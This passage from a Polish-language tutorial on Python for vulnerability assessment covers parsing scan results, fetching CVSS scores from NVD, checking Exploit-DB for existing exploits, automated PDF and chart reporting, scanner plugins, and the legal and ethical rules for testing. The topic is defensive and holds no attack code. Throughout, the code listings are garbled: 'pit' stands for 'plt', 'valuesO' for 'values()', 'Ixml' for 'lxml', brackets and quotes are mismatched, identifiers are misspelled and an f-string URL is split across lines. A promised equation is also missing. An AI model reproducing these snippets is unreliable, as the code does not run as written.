10 print(f"Severity: {item[’severity’]}") 



11 print(f"Description: {item[’description']}\n") 

Ten fragment kodu demonstruje ładowanie danych JSON z pliku o nazwie scan_results.json. Następnie 

przechodzi przez listę luk, drukując identyfikator, powagę i opis każdej luki. Ten podstawowy przykład 

stanowi podstawę bardziej złożonej analizy i przetwarzania. 

Analizowanie danych skanowania 

Po przeanalizowaniu danych skanowania następnym krokiem jest analiza. Obejmuje ona identyfikację 

krytycznych luk, które wymagają natychmiastowej uwagi, kategoryzację luk według powagi, a czasami 

korelację luk ze znanymi exploitami lub poprawkami. Aby ułatwić tę analizę, biblioteki manipulacji 

danymi Pythona, takie jak pandas, mogą być niezwykle przydatne. Na przykład konwersja 

przeanalizowanych danych skanowania do pandas DataFrame umożliwia korzystanie z funkcji 

filtrowania, sortowania i grupowania. 

1 import pandas as pd 

2 

3 # Assuming <data[,vulnerabilities']‘ is a list of dictionaries 

4 df = pd.DataFrame(data[’vulnerabilities’]) 

5  

6 # Filter vulnerabilities with high severity 

7 high_severity = df[df{’severity’] == 'high'] 

8  

9 printf'High Severity Vulnerabilities:") 

10 print(high_severity[[’id’, ’description']]) 

W tym przykładzie, pandas DataFrame jest tworzony z listy luk. DataFrame jest następnie używany do 

filtrowania i wyświetlania luk o wysokim stopniu ważności. Takie podejście umożliwia szybką 

identyfikację najbardziej krytycznych problemów, które należy rozwiązać. 

Priorytetyzacja luk 

Priorytetyzacja luk to kluczowe zadanie, które obejmuje coś więcej niż tylko sortowanie według stopnia 

ważności. Wymaga rozważenia możliwości wykorzystania, wpływu i kontekstu podatnego systemu w 

organizacji. Skrypty Pythona można ulepszyć, aby uwzględnić te czynniki w logice priorytetyzacji. 

Jednym ze sposobów podejścia do tego jest włączenie dodatkowych źródeł danych, takich jak wyniki 

Common Vulnerability Scoring System (CVSS), które zapewniają ustandaryzowany sposób oceniania 

stopnia ważności luk w oparciu o różne metryki. Automatyzacja analizy i analizy danych skanowania 

luk w Pythonie nie tylko oszczędza czas, ale także umożliwia bardziej systematyczne i dokładne badanie 

postawy bezpieczeństwa systemów lub aplikacji. Wykorzystując potężne biblioteki Pythona do 

manipulacji danymi i analizy, specjaliści ds. cyberbezpieczeństwa mogą wydajnie przetwarzać duże 

ilości danych ze skanowania, identyfikować krytyczne luki w zabezpieczeniach i ustalać ich priorytety 

w celu ich naprawy. Mając fundamenty położone w tej sekcji, czytelnicy są zachęcani do eksplorowania 

dalszych możliwości automatyzacji i dostosowywania w celu ulepszenia procesów oceny luk w 

zabezpieczeniach. 

Ustalanie priorytetów luk w celu ich naprawy 



Ustalanie priorytetów luk w celu ich naprawy jest kluczowym krokiem w procesie oceny podatności. 

Po zidentyfikowaniu i sklasyfikowaniu luk w zabezpieczeniach, konieczne jest ustalenie ich priorytetów, 

tak aby najpierw zająć się najbardziej krytycznymi lukami w zabezpieczeniach. Ta priorytetyzacja opiera 

się na kilku czynnikach, w tym powadze luki w zabezpieczeniach, prawdopodobieństwie wykorzystania 

i potencjalnym wpływie na system lub sieć. W tej sekcji omówimy metody analizy tych czynników za 

pomocą skryptów Pythona, ułatwiając świadomy i wydajny proces naprawy. Na początek ważne jest 

zrozumienie, że luki w zabezpieczeniach są powszechnie klasyfikowane za pomocą wyniku powagi, 

często zgodnego z Common Vulnerability Scoring System (CVSS). CVSS umożliwia uchwycenie 

głównych cech luki w zabezpieczeniach i wygenerowanie wyniku liczbowego odzwierciedlającego jej 

powagę. Wynik CVSS mieści się w zakresie od 0 do 10, przy czym 10 oznacza najpoważniejszy.  

Analiza stopnia zagrożenia 

Pierwszym krokiem w ustalaniu priorytetów jest pobranie wyniku CVSS dla każdej zidentyfikowanej 

zagrożenia. Skrypty Pythona mogą być używane do interakcji z bazami danych zagrożeń i 

wyodrębniania tych informacji. Na przykład rozważ następujący fragment kodu Pythona, który pobiera 

wynik CVSS zagrożenia z National Vulnerability Database (NVD): 

1 import requests 

2 

3 def get_cvss_score(vulnerability_id): 

4 url = f "" 

https://nvd.nist.gov/vuln/detail/{vulnerability_id} 

5 response = requests.get(url) 

6 if response.status_code == 200: 

7 html_text = response.text 

8 start_index = html_text.find(’CVSS v3.0:’) 

9 end_index = html_text.find(’</span>', start_index) 

10 cvss_score = html_text[start_index:end_index].split()[-l] 

11 return cvss_score 

12 else: 

13 return "N/A" 

14  

15 vulnerability-id = "CVE-2021-34527" 

16 cvss_score = get_cvss_score(vulnerability_id) 

17 print(f"CVSS Score for {vulnerability_id}: {cvss_score}") 

Rozważanie prawdopodobieństwa wykorzystania 

Prawdopodobieństwo, że luka zostanie wykorzystana, odgrywa również znaczącą rolę w ustalaniu 

priorytetów. Prawdopodobieństwo to można oszacować na podstawie czynników, takich jak 



dostępność kodu exploita lub złożoność wymagana do wykorzystania luki. Skrypty Pythona można 

zaprojektować tak, aby skanowały źródła, takie jak Exploit Database, w celu sprawdzenia istniejących 

exploitów: 

1 import requests 

2 from bs4 import BeautifulSoup 

3 

4 def check_exploit_availability(vulnerability_id): 

5 search.url = f"" 

https://www.exploit-db.com/search?q={vulnerability_id} 

6 response = requests.get(search_url) 

7  

8if response.status_code == 200: 

9 soup = BeautifulSoup(response.text, ’html.parser’) 

10 results = soup.find_all(’td’, class_=’description’) 

11 if results: 

12 return True 

13 else: 

14 return False 

15 else: 

16 return False 

17 

18 vulnerability_id = "CVE-2021-34527” 

19 exploit_available = check_exploit_availability(vulnerability_id) 

20 print(f"Exploit available for {vulnerability_id}: {exploit_available}") 

Ocena wpływu 

Na koniec należy wziąć pod uwagę potencjalny wpływ wykorzystania luk w zabezpieczeniach. 

Obejmuje to rozważenie poufności, integralności i dostępności danych (triada CIA), które mogą zostać 

naruszone. Opracowanie niestandardowego narzędzia Python do oceny wpływu na podstawie tych 

parametrów obejmuje integrację i analizę danych z wielu źródeł, co może obejmować bezpośrednią 

ocenę wyników skanowania luk w zabezpieczeniach, dane od ekspertów ds. bezpieczeństwa i 

informacje z baz danych luk w zabezpieczeniach. Ustalanie priorytetów luk w zabezpieczeniach w celu 

ich naprawy nie jest zadaniem jednorazowym. Wymaga ciągłej ponownej oceny krajobrazu luk w 

zabezpieczeniach, ponieważ odkrywane są nowe luki w zabezpieczeniach, a istniejące są łatane lub 

łagodzone. Automatyzacja tego procesu za pomocą skryptów Pythona nie tylko zwiększa jego 

wydajność, ale także zapewnia, że priorytetyzacja opiera się na najnowszych dostępnych danych. 



Zastosowanie Pythona w ustalaniu priorytetów luk w zabezpieczeniach umożliwia specjalistom ds. 

cyberbezpieczeństwa podejście do działań naprawczych w sposób metodyczny i świadomy. Dzięki 

skutecznemu kategoryzowaniu luk w oparciu o ich powagę, prawdopodobieństwo wykorzystania i 

potencjalny wpływ, organizacje mogą znacząco zmniejszyć swoje narażenie na ryzyko i poprawić 

ogólną sytuację bezpieczeństwa. 

Zgłaszanie luk: najlepsze praktyki i automatyzacja 

Zgłaszanie luk jest kluczowym etapem procesu oceny luk. Polega na przekazywaniu ustaleń z oceny 

odpowiednim interesariuszom w sposób, który jest zarówno jasny, jak i wykonalny. W tej sekcji 

omówiono kilka najlepszych praktyk w zakresie raportowania, a także sposób wykorzystania języka 

Python do automatyzacji różnych aspektów procesu generowania raportu. Przede wszystkim raport 

dotyczący luk powinien być ustrukturyzowany tak, aby zawierał streszczenie, szczegółowe ustalenia, 

analizę wpływu i zalecenia. Streszczenie powinno zawierać ogólny przegląd wyników oceny, 

skierowany do interesariuszy, którzy mogą nie mieć wiedzy technicznej. Szczegółowe ustalenia 

powinny następnie zawierać szczegółowe informacje na temat każdej zidentyfikowanej luki, w tym 

sposób jej odkrycia, jej potencjalny wpływ oraz każdy kod proof-of-concept lub wynik ilustrujący lukę 

w działaniu. Analiza wpływu omawia potencjalne reperkusje każdej podatności na aktywa i operacje 

organizacji, podczas gdy zalecenia dostarczają wykonalnych kroków w celu złagodzenia lub 

naprawienia zidentyfikowanych problemów. Jedną z najlepszych praktyk w zgłaszaniu podatności jest 

nadawanie im priorytetów na podstawie ich powagi. Można to osiągnąć, przypisując każdej podatności 

wynik powagi, zwykle w oparciu o ramy, takie jak Common Vulnerability Scoring System (CVSS). 

Poniższe równanie jest przykładem tego, jak można obliczyć prosty wynik powagi: 

 

gdzie Impact i Exploitability to wartości liczbowe przypisane na podstawie cech podatności. Aby 

zwiększyć przejrzystość raportów, zaleca się korzystanie z elementów wizualnych, takich jak wykresy 

lub grafy, które można generować programowo za pomocą bibliotek Python, takich jak Matplotlib. Oto 

przykład, jak utworzyć wykres kołowy ilustrujący rozkład podatności według stopnia zagrożenia: 

1 import matplotlib.pyplot as pit 

2  

3 # Sample data: number of vulnerabilities per severity level 

4 vulnerabilities = {'Low': 10,’Medium’: 20, ’High’: 5} 

5 labels = vulnerabilities.keys() 

6 sizes = vulnerabilities.valuesO 

7  

8 fig 1, axl = plt.subplots() 

9 axl.pie(sizes, labels=labels, autopct=’% 1.1 f%%’, 

10 startangle=90) 

11 axl .axis(’equal’) # Equal aspect ratio ensures that pie is drawn as a circle. 



12 

13plt.show() 

Automatyzacja raportów o podatnościach może znacznie zwiększyć wydajność, zwłaszcza w przypadku 

ocen cyklicznych. Skrypty Pythona można napisać, aby analizować dane z narzędzi bezpieczeństwa, baz 

danych lub skanerów, formatować te dane zgodnie ze szablonem raportowania, a następnie 

generować raport w formatach takich jak PDF lub HTML. Na przykład biblioteka reportlab w Pythonie 

może być używana do generowania raportów PDF. Poniżej znajduje się uproszczony przykład, który 

pokazuje generowanie raportu PDF: 

1 from reportlab.lib.pagesizes import letter 

2 from reportlab.pdfgen import canvas 

3 

4 def generate_report(filename, title, summary): 

5 c = canvas.Canvas(filename, pagesize=letter) 

6 c.drawString( 100, 750, title) 

7 c.drawString(100, 730, "Executive Summary") 

8 c.drawString( 100, 710, summary) 

9 c.save() 

10 

11 report_title = "Vulnerability Assessment Report" 

12 exec_summary = "This report outlines the findings from the recent vulnerability assessment." 

13 generate_report("vulnerability_report.pdf", report-title, exec_summary) 

Komentarze i podsumowania kodu powinny być dołączone, gdy jest to właściwe, aby zapewnić, że kod 

generowania raportu jest łatwy w utrzymaniu i może być łatwo zrozumiany przez innych programistów 

lub specjalistów ds. bezpieczeństwa. Skuteczne raportowanie luk w zabezpieczeniach jest niezbędne, 

aby zapewnić, że zidentyfikowane luki w zabezpieczeniach zostaną zrozumiane i odpowiednio 

rozwiązane. Przestrzegając najlepszych praktyk w zakresie strukturyzacji i priorytetyzacji raportów oraz 

wykorzystując Python do automatyzacji raportów, organizacje mogą poprawić swoją reakcję na luki w 

zabezpieczeniach i poprawić ogólną postawę bezpieczeństwa. 

Tworzenie niestandardowych wtyczek do skanerów luk w zabezpieczeniach za pomocą Pythona 

W tej sekcji omówimy, w jaki sposób można wykorzystać Pythona do tworzenia niestandardowych 

wtyczek do skanerów luk w zabezpieczeniach. Ta możliwość jest kluczowa dla rozszerzenia 

funkcjonalności istniejących skanerów i dostosowania ich do określonych środowisk lub nietypowych 

luk w zabezpieczeniach, które mogą nie być objęte domyślnymi ustawieniami skanera. Tworzenie 

niestandardowych wtyczek wymaga dogłębnego zrozumienia architektury wtyczek skanera, a także 

biegłości w Pythonie. Większość nowoczesnych skanerów luk w zabezpieczeniach oferuje interfejs API 

lub interfejs skryptowy zaprojektowany w celu rozszerzenia ich możliwości. Za pośrednictwem tych 

interfejsów wtyczki mogą uzyskać dostęp do wewnętrznych funkcji skanera, takich jak wysyłanie żądań 

sieciowych, przetwarzanie odpowiedzi i raportowanie ustaleń. 



Zrozumienie architektury wtyczki 

Przed rozpoczęciem tworzenia wtyczki konieczne jest zrozumienie architektury wtyczki danego 

skanera luk w zabezpieczeniach. Obejmuje to badanie dokumentacji dostarczonej przez programistów 

skanera, skupiając się na tym, jak wtyczki są zbudowane, jak oddziałują ze skanerem i jak zgłaszają luki. 

Ponadto przeglądanie istniejących wtyczek może zapewnić wgląd w praktyczne implementacje i 

najlepsze praktyki. 

Konfigurowanie środowiska programistycznego 

Aby opracować niestandardową wtyczkę, skonfiguruj środowisko programistyczne Pythona, które 

odzwierciedla środowisko, w którym działa skaner. Obejmuje to instalację tej samej wersji Pythona i 

wszelkich bibliotek lub zależności wymaganych przez skaner lub samą wtyczkę. 

1 # Example setup for a development environment 

2 pip install requests 

3 pip install Ixml 

Interfejs ze skanerem luk w zabezpieczeniach 

Kolejnym krokiem jest interfejs ze skanerem luk w zabezpieczeniach. Zazwyczaj obejmuje to 

wykorzystanie interfejsu API skanera, który umożliwia wtyczce inicjowanie skanowania, 

manipulowanie danymi skanowania i interakcję z innymi komponentami skanera. 

1 # Przykład interfejsu z API skanera 

2 import scanner_api 

3 

4 def start_scan(target): 

5 scanner_api.initiate_scan(target_url=target) 

Opracowywanie logiki wtyczki 

Podstawą niestandardowej wtyczki jest jej logika. Obejmuje ona zdefiniowanie, co wtyczka będzie 

skanować, w jaki sposób będzie wykrywać luki w zabezpieczeniach i w jaki sposób będzie raportować 

te ustalenia. Opracowanie skutecznej logiki wtyczki wymaga głębokiego zrozumienia luk w 

zabezpieczeniach, które są celem, w tym sposobu ich wykrywania i wykorzystywania. 

1 # Example plugin logic for detecting a vulnerable server 

2 import requests 

3 

4 def check_vulnerability(target_url): 

5 response = requests.get(target_url) 

6 if "Vulnerable Server" in response.text: 

7 return True 

8 return False 



Raportowanie luk 

Raportowanie jest podstawową funkcją każdej wtyczki. Musi ona komunikować swoje ustalenia w 

sposób jasny i możliwy do zastosowania. Zazwyczaj obejmuje to określenie charakteru luki, jej 

lokalizacji i wszelkich zalecanych środków zaradczych. 

1 # Example of reporting a vulnerability 

2 def report_vulnerability(target_url): 

3 if check_vulnerability(target_url): 

4 print(f"Vulnerability found at {target_url}") 

5 else: 

6 print(f "No vulnerabilities found at {target_url}") 

Testowanie i wdrażanie 

Przed wdrożeniem nowej wtyczki kluczowe jest jej rygorystyczne przetestowanie w kontrolowanym 

środowisku. Ta faza testowania powinna obejmować szeroki zakres scenariuszy, w tym różne 

konfiguracje sieciowe i typy luk w zabezpieczeniach, aby upewnić się, że wtyczka działa zgodnie z 

oczekiwaniami. Po zakończeniu testowania wtyczkę można wdrożyć do skanera. Konkretny proces 

wdrażania wtyczek różni się w zależności od skanera, ale zazwyczaj obejmuje dodanie wtyczki do 

katalogu wtyczek skanera lub użycie interfejsu zarządzania w celu zainstalowania wtyczki. 

Opracowywanie niestandardowych wtyczek dla skanerów luk w zabezpieczeniach za pomocą języka 

Python to skuteczny sposób na zwiększenie skuteczności skanera i dostosowanie go do konkretnych 

potrzeb bezpieczeństwa. Postępując zgodnie z krokami opisanymi w tej sekcji, czytelnicy będą 

przygotowani do opracowywania, testowania i wdrażania niestandardowych wtyczek, co znacząco 

przyczyni się do zwiększenia solidności ich zabezpieczeń cybernetycznych. 

Rozważania etyczne i prawne w ocenie podatności 

Przeprowadzanie oceny podatności wymaga nie tylko biegłości technicznej, ale także głębokiego 

zrozumienia ram etycznych i prawnych, które regulują te działania. Podczas wdrażania skryptów i 

narzędzi Python w celu identyfikacji słabości systemu, etyczni hakerzy muszą poruszać się po złożonym 

krajobrazie ograniczeń prawnych i obowiązków etycznych. W tej sekcji opisano kluczowe przepisy 

prawne i zasady etyczne, które powinny kierować wszelkimi działaniami w zakresie oceny podatności, 

aby zapewnić, że są one przeprowadzane odpowiedzialnie i zgodnie z prawem. 

Zrozumienie ram prawnych 

Krajobraz prawny dla ocen podatności znacznie się różni w zależności od jurysdykcji, ale kilka 

międzynarodowych i krajowych przepisów stanowi podstawę do zrozumienia dopuszczalnych granic 

działań hakerskich. W szczególności przepisy takie jak Computer Fraud and Abuse Act (CFAA) w Stanach 

Zjednoczonych, Data Protection Act (DPA) w Wielkiej Brytanii i Ogólne rozporządzenie o ochronie 

danych (GDPR) w Unii Europejskiej określają jasne wytyczne dotyczące nieautoryzowanego dostępu, 

naruszenia danych i prywatności. 

Kluczowe kwestie prawne: 

• Autoryzacja: Upewnij się, że uzyskano pisemną zgodę od właściciela systemu lub odpowiedzialnego 

organu przed przeprowadzeniem jakiegokolwiek skanowania lub testowania. Nieautoryzowany 

dostęp, nawet z dobrymi intencjami, może prowadzić do reperkusji prawnych. 



• Zakres oceny: Jasno określ zakres oceny, w tym, które systemy, sieci i dane mogą zostać 

przetestowane. Zapobiega to niezamierzonym naruszeniom prawa, zapewniając, że wszystkie działania 

mieszczą się w uzgodnionych granicach. 

• Przetwarzanie danych: Zgodność z przepisami o ochronie danych (np. RODO) ma kluczowe znaczenie 

podczas przetwarzania danych osobowych lub poufnych ujawnionych podczas ocen. Etyczni hakerzy 

muszą zapewnić, że wszelkie takie dane są bezpiecznie zarządzane i chronione. 

Rozważania etyczne 

Poza zgodnością z prawem, etyczni hakerzy są związani zestawem zasad moralnych, które zapewniają, 

że ich działania przyczyniają się pozytywnie do postawy bezpieczeństwa ocenianych przez nich 

systemów. Zasady te obejmują zachowanie poufności, integralności i dostępności systemów i danych, 

z którymi wchodzą w interakcję. 

Kluczowe zasady etyczne: 

• Zachowanie poufności: Informacje o lukach w zabezpieczeniach odkrytych podczas ocen powinny 

być poufnie udostępniane wyłącznie podmiotowi, który jest właścicielem lub odpowiada za system. 

• Dobroczynność: Głównym motywem oceny podatności powinno być zwiększenie bezpieczeństwa i 

ochrona interesów właścicieli systemów i ich interesariuszy. 

• Profesjonalizm: Etyczni hakerzy muszą prowadzić swoje działania z wysokim stopniem 

profesjonalizmu, w tym dokładną dokumentacją swoich ustaleń i udzielaniem jasnych, wykonalnych 

zaleceń dotyczących napraw. 

Poruszanie się po wyzwaniach etycznych i prawnych 

Pomimo najlepszych intencji, etyczni hakerzy mogą napotkać scenariusze, w których wytyczne prawne 

i etyczne wydają się być sprzeczne lub trudne do zinterpretowania. W takich przypadkach specjaliści 

ds. bezpieczeństwa muszą koniecznie zasięgnąć porady prawnej i przestrzegać najściślejszej 

interpretacji przepisów i kodeksów etycznych. Przejrzystość w stosunku do klientów lub właścicieli 

systemów w zakresie metod, narzędzi i potencjalnego wpływu oceny może pomóc złagodzić ryzyko 

prawne i dylematy etyczne. Ponadto pozostawanie na bieżąco z ewoluującymi przepisami dotyczącymi 

cyberbezpieczeństwa i uczestnictwo w profesjonalnych społecznościach etycznego hakowania może 

zapewnić cenne spostrzeżenia i wskazówki. Etyczni hakerzy powinni traktować te społeczności jako 

zasoby do wspólnej nauki i wsparcia w poruszaniu się po zawiłościach kwestii etycznych i prawnych w 

ocenie podatności. Kwestie etyczne i prawne są integralną częścią przeprowadzania ocen podatności. 

Przestrzegając ustalonych ram prawnych i zasad etycznych, etyczni hakerzy mogą zapewnić, że ich 

działania promują cyberodporność przy jednoczesnym poszanowaniu norm prywatności i ochrony 

danych. Takie podejście nie tylko chroni przed pułapkami prawnymi i moralnymi, ale także wzmacnia 

zaufanie i współpracę między specjalistami ds. bezpieczeństwa a systemami, które mają chronić. 


